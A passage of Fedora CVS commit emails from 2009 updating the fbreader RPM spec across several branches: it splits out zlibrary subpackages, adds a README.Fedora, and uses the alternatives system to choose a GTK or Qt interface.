+desktop Linux, Windows, and different Linux-based PDAs.
+
+This package provides a Qt4-based UI for ZLibrary.
+
+
 %prep
 %setup -q
 %patch0 -p1 -b .desktop-file
@@ -61,27 +135,24 @@ make %{?_smp_mflags} -C zlibrary/text TA
      LIBDIR=%{_libdir} UI_TYPE=dummy
 make %{?_smp_mflags} -C zlibrary/ui TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=gtk
-#make %{?_smp_mflags} -C zlibrary/ui TARGET_ARCH=desktop UI_TYPE=qt
-%if 0%{?_with_qt4:1}
 make %{?_smp_mflags} -C zlibrary/ui TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=qt4
-%endif
 make %{?_smp_mflags} -C fbreader TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=dummy
 
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make -C zlibrary/core do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
+make -C zlibrary/core do_install do_install_dev \
+     DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=dummy
-make -C zlibrary/text do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
+make -C zlibrary/text do_install do_install_dev \
+     DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=dummy
 make -C zlibrary/ui do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=gtk
-%if 0%{?_with_qt4:1}
 make -C zlibrary/ui do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=qt4
-%endif
 make -C fbreader do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      UI_TYPE=dummy
 
@@ -96,26 +167,87 @@ desktop-file-install --vendor="fedora" \
 rm -rf $RPM_BUILD_ROOT
 
 
-%post -p /sbin/ldconfig
+%post -n zlibrary -p /sbin/ldconfig
 
-%postun -p /sbin/ldconfig
+%postun -n zlibrary -p /sbin/ldconfig
 
+%posttrans -n zlibrary-ui-gtk
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-gtk.so \
+  2
+
+%posttrans -n zlibrary-ui-qt
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-qt4.so \
+  1
+
+%postun -n zlibrary-ui-gtk
+if [ $1 -eq 0 ]; then
+  alternatives --remove zlibrary-ui \
+    %{_libdir}/zlibrary/ui/zlui-gtk.so
+fi
+exit 0
+
+%postun -n zlibrary-ui-qt
+if [ $1 -eq 0 ]; then
+  alternatives --remove unison \
+    %{_libdir}/zlibrary/ui/zlui-qt4.so
+fi
+exit 0
 
 %files
 %defattr(-,root,root,-)
-%doc fbreader/LICENSE
+%doc fbreader/LICENSE README.Fedora
 %{_bindir}/FBReader
-%{_libdir}/lib*.so.*
-%{_libdir}/zlibrary
 %{_datadir}/FBReader
 %{_datadir}/applications/fedora-FBReader.desktop
 %{_datadir}/pixmaps/FBReader.png
 %{_datadir}/pixmaps/FBReader
 %{_datadir}/zlibrary
 
+%files gtk
+%files qt
+
+%files -n zlibrary
+%defattr(-,root,root,-)
+%doc fbreader/LICENSE
+%{_libdir}/lib*.so.*
+%dir %{_libdir}/zlibrary
+%dir %{_libdir}/zlibrary/ui
+%exclude %{_datadir}/zlibrary/keynames-*.xml
+%{_datadir}/zlibrary
+
+%files -n zlibrary-devel
+%defattr(-,root,root,-)
+%{_includedir}/*
+%{_libdir}/lib*.so
+
+%files -n zlibrary-ui-gtk
+%defattr(-,root,root,-)
+%{_libdir}/zlibrary/ui/zlui-gtk.so
+%{_datadir}/zlibrary/keynames-gtk.xml
+
+%files -n zlibrary-ui-qt
+%defattr(-,root,root,-)
+%{_libdir}/zlibrary/ui/zlui-qt4.so
+%{_datadir}/zlibrary/keynames-qt4.xml
+
 
 
 %changelog
+* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
+- Provide virtual packages for each available interface
+- Use alternatives to select the user interface (see README.Fedora)
+
+* Thu Sep 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-3
+- Split out zlibrary and zlibrary-ui subpackages (fixes bz# 523946)
+
 * Tue Mar 31 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-1
 - Update to 0.10.7
 



From salimma at fedoraproject.org  Sun Oct 18 02:21:56 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:21:56 +0000 (UTC)
Subject: rpms/fbreader/EL-5 README.Fedora,1.3,1.4 fbreader.spec,1.13,1.14
Message-ID: <20091018022156.1797B11C00EC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26096/EL-5

Modified Files:
	fbreader.spec 
Added Files:
	README.Fedora 
Log Message:
* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
- Provide virtual packages for each available interface
- Use alternatives to select the user interface (see README.Fedora)



Index: README.Fedora
===================================================================
RCS file: README.Fedora
diff -N README.Fedora
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ README.Fedora	18 Oct 2009 02:21:55 -0000	1.4
@@ -0,0 +1,27 @@
+README for Fedora
+-----------------
+
+The previously-monolithic FBReader package has now been split into
+separate subpackages:
+
+- fbreader: The ebook reader
+- zlibrary: Cross-platform GUI library 
+- zlibrary-ui-gtk: GTK+ interface for zlibrary
+- zlibrary-ui-qt:  Qt interface for zlibrary
+
+Two convenience packages are provided:
+- fbreader-gtk: installs fbreader and zlibrary-ui-gtk
+- fbreader-qt:  installs fbreader and zlibrary-ui-qt
+
+'yum install fbreader' does not guarantee which interface gets picked;
+install fbreader-gtk or -qt instead.
+
+If both -gtk and -qt interfaces are installed, by default
+the Gtk+ interface is used. To change the interface you want to use,
+do as root:
+
+# alternatives --config zlibrary-ui
+
+to reset the choice to the default, use
+
+# alternatives --auto zlibrary-ui


Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/EL-5/fbreader.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- fbreader.spec	6 Feb 2009 02:22:12 -0000	1.13
+++ fbreader.spec	18 Oct 2009 02:21:55 -0000	1.14
@@ -1,13 +1,13 @@
-# rebuild with --with qt4 to build optional qt4 UI
 Name:           fbreader
-Version:        0.10.3
-Release:        1%{?dist}
+Version:        0.10.7
+Release:        4%{?dist}
 Summary:        E-book reader
 
 Group:          Applications/Publishing
 License:        GPLv2+
 URL:            http://www.fbreader.org/
 Source0:        http://www.fbreader.org/fbreader-sources-%{version}.tgz
+Source1:        README.Fedora
 Patch0:         fbreader-0.10.0-desktop-file.patch
 Patch1:         fbreader-optflags.patch
 # Use to expose the compiler flags used during build
@@ -15,11 +15,11 @@ Patch1:         fbreader-optflags.patch
 Patch3:         fbreader-defaults.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  expat-devel bzip2-devel liblinebreak-static
+BuildRequires:  expat-devel bzip2-devel liblinebreak-devel
 BuildRequires:  gtk2-devel fribidi-devel libcurl-devel
 BuildRequires:  libjpeg-devel desktop-file-utils
-%{?_with_qt4:BuildRequires: qt4-devel}
-#Requires:       
+BuildRequires:  qt4-devel
+
 
 %description
 FBReader is an e-book reader, with the following main features:
@@ -46,6 +46,80 @@ FBReader is an e-book reader, with the f
 * Screen rotation by 90, 180 and 270 degrees.
 
 
+%package        gtk
+Summary:        E-book reader (GTK+ interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-gtk = %{version}-%{release}
+
+%description    gtk
+A virtual package that bundles both the FBreader e-book reader and its
+GTK+ user interface.
+
+
+%package        qt
+Summary:        E-book reader (Qt interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-qt = %{version}-%{release}
+
+%description    qt
+A virtual package that bundles both the FBreader e-book reader and its
+Qt4 user interface.
+
+
+%package -n     zlibrary
+Summary:        Cross-platform GUI library
+Group:          System Environment/Libraries
+Requires:       zlibrary-ui = %{version}-%{release}
+
+%description -n zlibrary
+ZLibrary is a cross-platform library to build applications running on
+desktop Linux, Windows, and different Linux-based PDAs.
+
+
+%package -n     zlibrary-devel
+Summary:        Development files for zlibrary
+Group:          Development/Libraries
+Requires:       zlibrary = %{version}-%{release}
+
+%description -n zlibrary-devel
+This package contains the libraries amd header files that are needed
+for writing applications with Zlibrary.
+
+
+%package -n     zlibrary-ui-gtk
+Summary:        GTK+ interface module for ZLibrary
+Group:          System Environment/Libraries
+Provides:       zlibrary-ui = %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
+
+%description -n zlibrary-ui-gtk
+ZLibrary is a cross-platform library to build applications running on
+desktop Linux, Windows, and different Linux-based PDAs.
+
+This package provides a GTK+-based UI for ZLibrary.
+
+
+%package -n     zlibrary-ui-qt
+Summary:        Qt4 interface module for ZLibrary
+Group:          System Environment/Libraries
+Provides:       zlibrary-ui = %{version}-%{release}
+Provides:       zlibrary-ui-qt4 = %{version}-%{release}
+Obsoletes:      zlibrary-ui-qt4 < %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
+
+%description -n zlibrary-ui-qt
+ZLibrary is a cross-platform library to build applications running on
+desktop Linux, Windows, and different Linux-based PDAs.
+
+This package provides a Qt4-based UI for ZLibrary.
+
+
 %prep
 %setup -q
 %patch0 -p1 -b .desktop-file
@@ -61,27 +135,24 @@ make %{?_smp_mflags} -C zlibrary/text TA
      LIBDIR=%{_libdir} UI_TYPE=dummy
 make %{?_smp_mflags} -C zlibrary/ui TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=gtk
-#make %{?_smp_mflags} -C zlibrary/ui TARGET_ARCH=desktop UI_TYPE=qt
-%if 0%{?_with_qt4:1}
 make %{?_smp_mflags} -C zlibrary/ui TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=qt4
-%endif
 make %{?_smp_mflags} -C fbreader TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=dummy
 
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make -C zlibrary/core do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
+make -C zlibrary/core do_install do_install_dev \
+     DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=dummy
-make -C zlibrary/text do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
+make -C zlibrary/text do_install do_install_dev \
+     DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=dummy
 make -C zlibrary/ui do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=gtk
-%if 0%{?_with_qt4:1}
 make -C zlibrary/ui do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=qt4
-%endif
 make -C fbreader do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      UI_TYPE=dummy
 
@@ -96,26 +167,90 @@ desktop-file-install --vendor="fedora" \
 rm -rf $RPM_BUILD_ROOT
 
 
-%post -p /sbin/ldconfig
+%post -n zlibrary -p /sbin/ldconfig
 
-%postun -p /sbin/ldconfig
+%postun -n zlibrary -p /sbin/ldconfig
 
+%posttrans -n zlibrary-ui-gtk
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-gtk.so \
+  2
+
+%posttrans -n zlibrary-ui-qt
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-qt4.so \
+  1
+
+%postun -n zlibrary-ui-gtk
+if [ $1 -eq 0 ]; then
+  alternatives --remove zlibrary-ui \
+    %{_libdir}/zlibrary/ui/zlui-gtk.so
+fi
+exit 0
+
+%postun -n zlibrary-ui-qt
+if [ $1 -eq 0 ]; then
+  alternatives --remove unison \
+    %{_libdir}/zlibrary/ui/zlui-qt4.so
+fi
+exit 0
 
 %files
 %defattr(-,root,root,-)
-%doc fbreader/LICENSE
+%doc fbreader/LICENSE README.Fedora
 %{_bindir}/FBReader
-%{_libdir}/lib*.so.*
-%{_libdir}/zlibrary
 %{_datadir}/FBReader
 %{_datadir}/applications/fedora-FBReader.desktop
 %{_datadir}/pixmaps/FBReader.png
 %{_datadir}/pixmaps/FBReader
 %{_datadir}/zlibrary
 
+%files gtk
+%files qt
+
+%files -n zlibrary
+%defattr(-,root,root,-)
+%doc fbreader/LICENSE
+%{_libdir}/lib*.so.*
+%dir %{_libdir}/zlibrary
+%dir %{_libdir}/zlibrary/ui
+%exclude %{_datadir}/zlibrary/keynames-*.xml
+%{_datadir}/zlibrary
+
+%files -n zlibrary-devel
+%defattr(-,root,root,-)
+%{_includedir}/*
+%{_libdir}/lib*.so
+
+%files -n zlibrary-ui-gtk
+%defattr(-,root,root,-)
+%{_libdir}/zlibrary/ui/zlui-gtk.so
+%{_datadir}/zlibrary/keynames-gtk.xml
+
+%files -n zlibrary-ui-qt
+%defattr(-,root,root,-)
+%{_libdir}/zlibrary/ui/zlui-qt4.so
+%{_datadir}/zlibrary/keynames-qt4.xml
+
 
 
 %changelog
+* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
+- Provide virtual packages for each available interface
+- Use alternatives to select the user interface (see README.Fedora)
+
+* Thu Sep 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-3
+- Split out zlibrary and zlibrary-ui subpackages (fixes bz# 523946)
+
+* Tue Mar 31 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-1
+- Update to 0.10.7
+
 * Thu Feb  5 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.3-1
 - Update to 0.10.3
 



From salimma at fedoraproject.org  Sun Oct 18 02:21:57 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:21:57 +0000 (UTC)
Subject: rpms/fbreader/F-12 README.Fedora,1.3,1.4 fbreader.spec,1.20,1.21
Message-ID: <20091018022157.5AC1411C00EC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26096/F-12

Modified Files:
	fbreader.spec 
Added Files:
	README.Fedora 
Log Message:
* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
- Provide virtual packages for each available interface
- Use alternatives to select the user interface (see README.Fedora)



Index: README.Fedora
===================================================================
RCS file: README.Fedora
diff -N README.Fedora
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ README.Fedora	18 Oct 2009 02:21:56 -0000	1.4
@@ -0,0 +1,27 @@
+README for Fedora
+-----------------
+
+The previously-monolithic FBReader package has now been split into
+separate subpackages:
+
+- fbreader: The ebook reader
+- zlibrary: Cross-platform GUI library 
+- zlibrary-ui-gtk: GTK+ interface for zlibrary
+- zlibrary-ui-qt:  Qt interface for zlibrary
+
+Two convenience packages are provided:
+- fbreader-gtk: installs fbreader and zlibrary-ui-gtk
+- fbreader-qt:  installs fbreader and zlibrary-ui-qt
+
+'yum install fbreader' does not guarantee which interface gets picked;
+install fbreader-gtk or -qt instead.
+
+If both -gtk and -qt interfaces are installed, by default
+the Gtk+ interface is used. To change the interface you want to use,
+do as root:
+
+# alternatives --config zlibrary-ui
+
+to reset the choice to the default, use
+
+# alternatives --auto zlibrary-ui


Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/F-12/fbreader.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- fbreader.spec	18 Sep 2009 04:29:53 -0000	1.20
+++ fbreader.spec	18 Oct 2009 02:21:57 -0000	1.21
@@ -1,12 +1,13 @@
 Name:           fbreader
 Version:        0.10.7
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        E-book reader
 
 Group:          Applications/Publishing
 License:        GPLv2+
 URL:            http://www.fbreader.org/
 Source0:        http://www.fbreader.org/fbreader-sources-%{version}.tgz
+Source1:        README.Fedora
 Patch0:         fbreader-0.10.0-desktop-file.patch
 Patch1:         fbreader-optflags.patch
 # Use to expose the compiler flags used during build
@@ -19,6 +20,7 @@ BuildRequires:  gtk2-devel fribidi-devel
 BuildRequires:  libjpeg-devel desktop-file-utils
 BuildRequires:  qt4-devel
 
+
 %description
 FBReader is an e-book reader, with the following main features:
 
@@ -44,6 +46,28 @@ FBReader is an e-book reader, with the f
 * Screen rotation by 90, 180 and 270 degrees.
 
 
+%package        gtk
+Summary:        E-book reader (GTK+ interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-gtk = %{version}-%{release}
+
+%description    gtk
+A virtual package that bundles both the FBreader e-book reader and its
+GTK+ user interface.
+
+
+%package        qt
+Summary:        E-book reader (Qt interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-qt = %{version}-%{release}
+
+%description    qt
+A virtual package that bundles both the FBreader e-book reader and its
+Qt4 user interface.
+
+
 %package -n     zlibrary
 Summary:        Cross-platform GUI library
 Group:          System Environment/Libraries
@@ -67,7 +91,10 @@ for writing applications with Zlibrary.
 %package -n     zlibrary-ui-gtk
 Summary:        GTK+ interface module for ZLibrary
 Group:          System Environment/Libraries
-Provides:       zlibrary-ui
+Provides:       zlibrary-ui = %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
 
 %description -n zlibrary-ui-gtk
 ZLibrary is a cross-platform library to build applications running on
@@ -76,12 +103,17 @@ desktop Linux, Windows, and different Li
 This package provides a GTK+-based UI for ZLibrary.
 
 
-%package -n     zlibrary-ui-qt4
+%package -n     zlibrary-ui-qt
 Summary:        Qt4 interface module for ZLibrary
 Group:          System Environment/Libraries
-Provides:       zlibrary-ui
+Provides:       zlibrary-ui = %{version}-%{release}
+Provides:       zlibrary-ui-qt4 = %{version}-%{release}
+Obsoletes:      zlibrary-ui-qt4 < %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
 
-%description -n zlibrary-ui-qt4
+%description -n zlibrary-ui-qt
 ZLibrary is a cross-platform library to build applications running on
 desktop Linux, Windows, and different Linux-based PDAs.
 
@@ -139,10 +171,39 @@ rm -rf $RPM_BUILD_ROOT
 
 %postun -n zlibrary -p /sbin/ldconfig
 
+%posttrans -n zlibrary-ui-gtk
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-gtk.so \
+  2
+
+%posttrans -n zlibrary-ui-qt
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-qt4.so \
+  1
+
+%postun -n zlibrary-ui-gtk
+if [ $1 -eq 0 ]; then
+  alternatives --remove zlibrary-ui \
+    %{_libdir}/zlibrary/ui/zlui-gtk.so
+fi
+exit 0
+
+%postun -n zlibrary-ui-qt
+if [ $1 -eq 0 ]; then
+  alternatives --remove unison \
+    %{_libdir}/zlibrary/ui/zlui-qt4.so
+fi
+exit 0
 
 %files
 %defattr(-,root,root,-)
-%doc fbreader/LICENSE
+%doc fbreader/LICENSE README.Fedora
 %{_bindir}/FBReader
 %{_datadir}/FBReader
 %{_datadir}/applications/fedora-FBReader.desktop
@@ -150,6 +211,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/FBReader
 %{_datadir}/zlibrary
 
+%files gtk
+%files qt
+
 %files -n zlibrary
 %defattr(-,root,root,-)
 %doc fbreader/LICENSE
@@ -169,7 +233,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/zlibrary/ui/zlui-gtk.so
 %{_datadir}/zlibrary/keynames-gtk.xml
 
-%files -n zlibrary-ui-qt4
+%files -n zlibrary-ui-qt
 %defattr(-,root,root,-)
 %{_libdir}/zlibrary/ui/zlui-qt4.so
 %{_datadir}/zlibrary/keynames-qt4.xml
@@ -177,6 +241,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
+- Provide virtual packages for each available interface
+- Use alternatives to select the user interface (see README.Fedora)
+
 * Thu Sep 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-3
 - Split out zlibrary and zlibrary-ui subpackages (fixes bz# 523946)
 



From salimma at fedoraproject.org  Sun Oct 18 02:21:56 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:21:56 +0000 (UTC)
Subject: rpms/fbreader/F-11 README.Fedora,1.3,1.4 fbreader.spec,1.18,1.19
Message-ID: <20091018022156.C908511C00EC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26096/F-11

Modified Files:
	fbreader.spec 
Added Files:
	README.Fedora 
Log Message:
* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
- Provide virtual packages for each available interface
- Use alternatives to select the user interface (see README.Fedora)



Index: README.Fedora
===================================================================
RCS file: README.Fedora
diff -N README.Fedora
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ README.Fedora	18 Oct 2009 02:21:56 -0000	1.4
@@ -0,0 +1,27 @@
+README for Fedora
+-----------------
+
+The previously-monolithic FBReader package has now been split into
+separate subpackages:
+
+- fbreader: The ebook reader
+- zlibrary: Cross-platform GUI library 
+- zlibrary-ui-gtk: GTK+ interface for zlibrary
+- zlibrary-ui-qt:  Qt interface for zlibrary
+
+Two convenience packages are provided:
+- fbreader-gtk: installs fbreader and zlibrary-ui-gtk
+- fbreader-qt:  installs fbreader and zlibrary-ui-qt
+
+'yum install fbreader' does not guarantee which interface gets picked;
+install fbreader-gtk or -qt instead.
+
+If both -gtk and -qt interfaces are installed, by default
+the Gtk+ interface is used. To change the interface you want to use,
+do as root:
+
+# alternatives --config zlibrary-ui
+
+to reset the choice to the default, use
+
+# alternatives --auto zlibrary-ui


Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/F-11/fbreader.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- fbreader.spec	31 Mar 2009 23:07:22 -0000	1.18
+++ fbreader.spec	18 Oct 2009 02:21:56 -0000	1.19
@@ -1,13 +1,13 @@
-# rebuild with --with qt4 to build optional qt4 UI
 Name:           fbreader
 Version:        0.10.7
-Release:        1%{?dist}
+Release:        4%{?dist}
 Summary:        E-book reader
 
 Group:          Applications/Publishing
 License:        GPLv2+
 URL:            http://www.fbreader.org/
 Source0:        http://www.fbreader.org/fbreader-sources-%{version}.tgz
+Source1:        README.Fedora
 Patch0:         fbreader-0.10.0-desktop-file.patch
 Patch1:         fbreader-optflags.patch
 # Use to expose the compiler flags used during build
@@ -15,11 +15,11 @@ Patch1:         fbreader-optflags.patch
 Patch3:         fbreader-defaults.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  expat-devel bzip2-devel liblinebreak-static
+BuildRequires:  expat-devel bzip2-devel liblinebreak-devel
 BuildRequires:  gtk2-devel fribidi-devel libcurl-devel
 BuildRequires:  libjpeg-devel desktop-file-utils
-%{?_with_qt4:BuildRequires: qt4-devel}
-#Requires:       
+BuildRequires:  qt4-devel
+
 
 %description
 FBReader is an e-book reader, with the following main features:
@@ -46,6 +46,80 @@ FBReader is an e-book reader, with the f
 * Screen rotation by 90, 180 and 270 degrees.
 
 
+%package        gtk
+Summary:        E-book reader (GTK+ interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-gtk = %{version}-%{release}
+
+%description    gtk
+A virtual package that bundles both the FBreader e-book reader and its
+GTK+ user interface.
+
+
+%package        qt
+Summary:        E-book reader (Qt interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-qt = %{version}-%{release}
+
+%description    qt
+A virtual package that bundles both the FBreader e-book reader and its
+Qt4 user interface.
+
+
+%package -n     zlibrary
+Summary:        Cross-platform GUI library
+Group:          System Environment/Libraries
+Requires:       zlibrary-ui = %{version}-%{release}
+
+%description -n zlibrary
+ZLibrary is a cross-platform library to build applications running on
+desktop Linux, Windows, and different Linux-based PDAs.
+
+
+%package -n     zlibrary-devel
+Summary:        Development files for zlibrary
+Group:          Development/Libraries
+Requires:       zlibrary = %{version}-%{release}
+
+%description -n zlibrary-devel
+This package contains the libraries amd header files that are needed
+for writing applications with Zlibrary.
+
+
+%package -n     zlibrary-ui-gtk
+Summary:        GTK+ interface module for ZLibrary
+Group:          System Environment/Libraries
+Provides:       zlibrary-ui = %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
+
+%description -n zlibrary-ui-gtk
+ZLibrary is a cross-platform library to build applications running on
+desktop Linux, Windows, and different Linux-based PDAs.
+
+This package provides a GTK+-based UI for ZLibrary.
+
+
+%package -n     zlibrary-ui-qt
+Summary:        Qt4 interface module for ZLibrary
+Group:          System Environment/Libraries
+Provides:       zlibrary-ui = %{version}-%{release}
+Provides:       zlibrary-ui-qt4 = %{version}-%{release}
+Obsoletes:      zlibrary-ui-qt4 < %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
+
+%description -n zlibrary-ui-qt
+ZLibrary is a cross-platform library to build applications running on
+desktop Linux, Windows, and different Linux-based PDAs.
+
+This package provides a Qt4-based UI for ZLibrary.
+
+
 %prep
 %setup -q
 %patch0 -p1 -b .desktop-file
@@ -61,27 +135,24 @@ make %{?_smp_mflags} -C zlibrary/text TA
      LIBDIR=%{_libdir} UI_TYPE=dummy
 make %{?_smp_mflags} -C zlibrary/ui TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=gtk
-#make %{?_smp_mflags} -C zlibrary/ui TARGET_ARCH=desktop UI_TYPE=qt
-%if 0%{?_with_qt4:1}
 make %{?_smp_mflags} -C zlibrary/ui TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=qt4
-%endif
 make %{?_smp_mflags} -C fbreader TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=dummy
 
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make -C zlibrary/core do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
+make -C zlibrary/core do_install do_install_dev \
+     DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=dummy
-make -C zlibrary/text do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
+make -C zlibrary/text do_install do_install_dev \
+     DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=dummy
 make -C zlibrary/ui do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=gtk
-%if 0%{?_with_qt4:1}
 make -C zlibrary/ui do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      LIBDIR=%{_libdir} UI_TYPE=qt4
-%endif
 make -C fbreader do_install DESTDIR=$RPM_BUILD_ROOT TARGET_ARCH=desktop \
      UI_TYPE=dummy
 
@@ -96,26 +167,87 @@ desktop-file-install --vendor="fedora" \
 rm -rf $RPM_BUILD_ROOT
 
 
-%post -p /sbin/ldconfig
+%post -n zlibrary -p /sbin/ldconfig
 
-%postun -p /sbin/ldconfig
+%postun -n zlibrary -p /sbin/ldconfig
 
+%posttrans -n zlibrary-ui-gtk
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-gtk.so \
+  2
+
+%posttrans -n zlibrary-ui-qt
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-qt4.so \
+  1
+
+%postun -n zlibrary-ui-gtk
+if [ $1 -eq 0 ]; then
+  alternatives --remove zlibrary-ui \
+    %{_libdir}/zlibrary/ui/zlui-gtk.so
+fi
+exit 0
+
+%postun -n zlibrary-ui-qt
+if [ $1 -eq 0 ]; then
+  alternatives --remove unison \
+    %{_libdir}/zlibrary/ui/zlui-qt4.so
+fi
+exit 0
 
 %files
 %defattr(-,root,root,-)
-%doc fbreader/LICENSE
+%doc fbreader/LICENSE README.Fedora
 %{_bindir}/FBReader
-%{_libdir}/lib*.so.*
